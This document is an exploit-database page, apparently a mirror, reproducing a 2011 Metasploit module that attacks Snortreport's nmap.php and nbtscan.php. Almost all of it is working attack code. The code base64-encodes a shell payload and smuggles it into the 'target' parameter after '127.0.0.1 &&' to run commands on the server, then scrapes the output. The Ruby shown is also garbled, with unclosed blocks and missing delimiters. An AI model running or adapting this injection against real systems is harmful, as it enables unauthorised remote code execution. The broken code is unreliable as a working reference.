Snortreport – ‘/nmap.php’ / ‘nbtscan.php’ Remote Command Execution (Metasploit)

Exploit Database
127 阅读

作者： Metasploit

日期： 2011-10-09
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/17947/

# $Id: snortreport_exec.rb 13843 2011-10-09 06:12:54Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::HttpClient

def initialize(info={})

super(update_info(info,

'Name' => 'Snortreport nmap.php and nbtscan.php Remote Command Execution',

'Description'=> %q{

This module exploits an arbitrary command execution vulnerability in

nmap.php and nbtscan.php scripts.

'License'=> MSF_LICENSE,

'Author' =>

[

'Paul Rascagneres'#itrust consulting during hack.lu 2011

'Version'=> '$Revision: 13843 $',

'Payload'=>

{

'Compat' =>

{

'PayloadType'=> 'cmd',

'RequiredCmd'=> 'generic perl ruby bash telnet',

}

'Platform' => ['unix', 'linux'],

'Arch' => ARCH_CMD,

'Targets'=> [['Automatic',{}]],

'DisclosureDate' => 'Sep 19 2011',

'DefaultTarget'=> 0

))

register_options(

[

OptString.new('URI', [true, "The full URI path to nmap.php or nbtscan.php", "/snortreport-1.3.2/nmap.php"]),

],self.class)

end

def exploit

base64_payload = ""

base64_payload_temp=Base64.encode64(payload.encoded).chomp

base64_payload_temp.each_line do |line|

base64_payload << line.chomp

end

start = "127.0.0.1 && echo XXXXX && eval $(echo "

last= " | base64 -d) && echo ZZZZZ"

custom_payload = start << base64_payload << last

res = send_request_cgi({

'uri' => datastore['URI'],

'vars_get'=>

{

'target' => custom_payload

}

},10)

if (res)

to_print=false

already_print=false

part=res.body.gsub("<BR>","")

part.each_line do |line|

if line =~ /ZZZZZ/

to_print=false

end

if to_print == true

print(line)

end

if line =~ /XXXXX/

already_print=true

to_print=true

end

if already_print == false

print_error("This server may not be vulnerable")

end

else

print_error("No response from the server")

end